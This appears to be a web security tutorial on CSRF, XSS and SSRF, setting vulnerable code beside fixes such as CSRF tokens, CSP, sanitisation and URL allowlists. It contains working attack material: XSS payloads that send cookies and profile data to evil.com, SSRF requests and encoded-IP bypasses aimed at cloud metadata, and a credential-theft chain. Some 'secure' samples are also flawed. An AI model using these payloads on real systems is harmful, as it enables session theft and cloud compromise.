In the race to adopt new frameworks and microservices, fundamental web security flaws remain dangerously prevalent. CSRF, XSS, and SSRF aren't just theoretical concepts — they're practical attacks that exploit the core trust models of web applications. Let's examine why these vintage vulnerabilities persist and how they work at a code level.
1. Cross-Site Request Forgery (CSRF): The Session Hijack
The Vulnerability: CSRF tricks a user's browser into executing unwanted actions on a web application where they're authenticated.
Vulnerable Code Example:
<!-- Simple form without CSRF protection -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker_account">
<input type="submit" value="View Funny Cat Picture!">
</form>
The Attack Flow:
- User logs in
bank.com
(session cookie stored) - User visits a malicious site containing the above form
- Form auto-submits via JavaScript:
document.forms[0].submit()
- The browser sends the session cookie with the transfer request
- Bank processes the transaction, believing it's legitimate
Secure Implementation with CSRF Tokens:
<?php
// Generate token when serving form
$csrf_token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $csrf_token;
?>
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>">
<input type="submit" value="Transfer">
</form>
<!-- Backend validation -->
<?php
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed");
}
process_transfer($_POST['amount'], $_POST['to_account']);
?>
2. Cross-Site Scripting (XSS): The DOM Injection
The Vulnerability: Malicious scripts are injected into web pages viewed by other users.
Vulnerable Code Example:
// Dangerous: Direct DOM injection without sanitization
const userComment = getParameter('comment'); // From URL or database
document.getElementById('comment-section').innerHTML = userComment;
// Attack payload in URL:
// ?comment=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Reflected XSS Attack:
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: vulnerable-site.com
Stored XSS Example:
-- Malicious comment stored in database
INSERT INTO comments (text, user_id) VALUES (
'<script>stealCredentials()</script>',
123
);
Secure Mitigation Techniques:
Content Security Policy (HTTP Header):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
Input Sanitization with DOMPurify:
import DOMPurify from 'dompurify';
const userInput = getParameter('comment');
const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('comment-section').innerHTML = cleanHTML;
Safe Output Encoding:
<?php
// Always encode output
$userData = $_GET['search_term'];
echo htmlspecialchars($userData, ENT_QUOTES, 'UTF-8');
?>
3. Server-Side Request Forgery (SSRF): The Internal Network Proxy
The Vulnerability: Attackers force the server to make requests to internal resources.
Vulnerable Code Example:
from flask import request
import requests
@app.route('/proxy')
def proxy_image():
url = request.args.get('url') # User-controlled parameter
# Vulnerable: No validation of internal URLs
response = requests.get(url)
return response.content
# Attack: Access cloud metadata service
# GET /proxy?url=http://169.254.169.254/latest/meta-data/
Advanced SSRF Exploitation:
# Bypassing basic filters with URL encoding
/proxy?url=http://0177.0.0.1/admin
/proxy?url=http://2130706433/admin # Decimal IP
/proxy?url=http://localhost.admin.evil.com/ # DNS rebinding
Secure SSRF Protection:
import requests
from urllib.parse import urlparse
import ipaddress
def is_internal_url(url):
"""Validate URL is not internal"""
hostname = urlparse(url).hostname
# Resolve hostname to check for internal IPs
try:
ip = ipaddress.ip_address(hostname)
return ip.is_private
except:
# Domain name - check against allowlist
allowed_domains = ['cdn.example.com', 'images.trusted.org']
return hostname not in allowed_domains
@app.route('/proxy')
def secure_proxy():
url = request.args.get('url')
if is_internal_url(url):
return "Error: Internal URLs not allowed", 403
# Use allowlist approach instead
allowed_hosts = ['cdn.example.com', 'images.trusted.org']
if urlparse(url).hostname not in allowed_hosts:
return "Error: Domain not allowed", 403
response = requests.get(url, timeout=5)
return response.content
Modern Attack Scenarios in 2025:
Cloud Metadata SSRF Attack Chain:
# Step 1: Get IAM role from metadata service
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Extract temporary credentials
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
# Step 3: Use credentials to access S3 buckets
aws s3 ls s3://company-data --region us-east-1
XSS to Token Theft:
// Modern XSS payload targeting Single Page Applications
fetch('/api/user/profile', {
headers: {'Authorization': 'Bearer ' + localStorage.accessToken}
})
.then(r => r.json())
.then(data => {
// Exfiltrate sensitive data to attacker server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
Defense-in-Depth Implementation:
Security Headers Configuration:
# Comprehensive security headers
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Permissions-Policy "geolocation=(), microphone=()";
Automated Security Testing:
# GitHub Actions workflow for security testing
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run ZAP Scan
uses: zaproxy/action-full-scan@v0.10.0
with:
target: 'https://example.com'
- name: Semgrep SAST
uses: returntocorp/semgrep-action@v1.0.0
The Reality in 2025:
These vulnerabilities persist because modern architectures introduce new attack surfaces:
- Microservices: Internal network SSRF becomes more dangerous
- SPAs: Client-side XSS risks increase with complex state management
- APIs: Stateless authentication requires robust CSRF alternatives
Your Call to Action
Implement these security measures today:
- Add CSP headers to all web responses
- Validate ALL user input with strict allowlists
- Use framework security features (Spring Security, Django CSRF, etc.)
- Regularly scan dependencies for known vulnerabilities